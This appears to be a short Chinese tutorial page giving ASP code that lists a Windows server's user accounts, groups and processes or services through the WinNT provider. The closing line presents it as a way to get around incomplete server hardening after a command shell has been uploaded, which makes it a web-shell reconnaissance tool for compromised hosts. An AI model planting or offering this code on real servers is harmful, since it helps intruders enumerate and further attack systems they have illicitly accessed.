asp查看系统用户和进程的代码
来源:我要学习网 时间:06-11-12 点击: 点击这里收藏本文
<%
dim obj
on error resume next
for each obj in getObject("WinNT://.")
err.clear%>
<!--<%=obj.path%>-->
<%if err then
%>系统用户(组)<%else%>系统进程<%end if%>
<%=obj.Name%>
<%if err then
else
%>(<%=obj.DisplayName%>)<%end if%>
<br> <%=obj.path%>
<%
next
%>
有的时候服务器做了安全配置却没做到位,上传cmd后还是无法执行net命令,用这个通常可以突破
把此文章收藏到: